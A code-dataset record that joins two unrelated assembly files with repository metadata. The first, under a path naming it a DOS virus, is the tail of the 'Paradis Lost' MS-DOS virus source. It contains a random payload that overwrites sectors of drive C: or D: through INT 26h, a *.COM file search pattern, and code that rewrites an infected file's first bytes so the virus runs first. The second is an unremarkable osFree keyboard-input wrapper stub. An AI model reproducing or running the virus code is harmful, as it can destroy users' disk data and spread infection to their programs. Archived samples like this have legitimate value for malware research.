cant_open_file: ; These entries are equal to eachother no_victim_found: ; but could be changed if you need to test something. ; randomize: mov ah,2ch ;get a new random number int 21h ;5% chance of nuke cmp dl,5 ja real_quit jmp which which: mov ah,2ch int 21h cmp dl,50 ja nuke_c jmp nuke_d nuke_c: cli ; mov ah,2 ; 2=c: cwd ; mov cx,0100h ; int 026h ; JMP REAL_QUIT nuke_d: cli mov ah,3 ; 3=d: cwd mov cx,0100h int 026h jmp real_quit real_quit: mov ax,100 ; Every thing is put back in memory, push ax ; lets us RET back to start of program ret ; and execute the original program. notes db '[PARADIS LOST!] (c) 93 The Unforgiven/Immortal Riot' file_match db '*.COM',0 ; Pattern to search for. end_of_encryption: _4first_bytes: ret ; Here we save the 4 first org. bytes db 3 DUP(0) ; We have a ret here since this file isn't a REAL infection. _4new_bytes db 'M',0E9, 00, 00 ; Here we build the 4 new org. bytes datestamp equ 24 ; Offset in DTA of file's date stamp timestamp equ 22 ; Offset in DTA of file's time stamp filename equ 30 ; Offset in DTA of ASCIIZ filename attribute equ 21 ; Offset in DTA of file attribute ; so our virus-code will be run first. Virus_End EQU $ dta db 42 DUP (?) end dummy_code
32.950617
80
0.558636
[ "MIT" ]
010001111/Family
MSDOS/Virus.MSDOS.Unknown.paralost.asm
8,007
Assembly
;/*! ; @file ; ; @ingroup fapi ; ; @brief BksStringIn DOS wrapper ; ; (c) osFree Project 2018, <http://www.osFree.org> ; for licence see licence.txt in root directory, or project website ; ; This is Family API implementation for DOS, used with BIND tools ; to link required API ; ; @author Yuri Prokushev (yuri.prokushev@gmail.com) ; ;*/ .8086 ; Helpers INCLUDE helpers.inc INCLUDE BSEERR.INC INCL_KBD EQU 1 INCLUDE BSESUB.INC _TEXT SEGMENT BYTE PUBLIC 'CODE' USE16 @BKSPROLOG BKSSTRINGIN KBDHANDLE DW ? IOWAIT DW ? BLENGTH DD ? CHARBUFFER DD ? @BKSSTART BKSSTRINGIN ;buff db 26 ;MAX NUMBER OF CHARACTERS ALLOWED (25). ; db ? ;NUMBER OF CHARACTERS ENTERED BY USER. ; db 26 dup(0) ;CHARACTERS ENTERED BY USER. ; Prepare Buffer ;CAPTURE STRING FROM KEYBOARD. ; MOV AH, 0AH ; MOV DX, OFFSET BUFF ; INT 21H @BKSEPILOG BKSSTRINGIN _TEXT ENDS END
19.9
69
0.624121
[ "BSD-3-Clause" ]
prokushev/FamilyAPI
bks/BksStringIn.asm
995
Assembly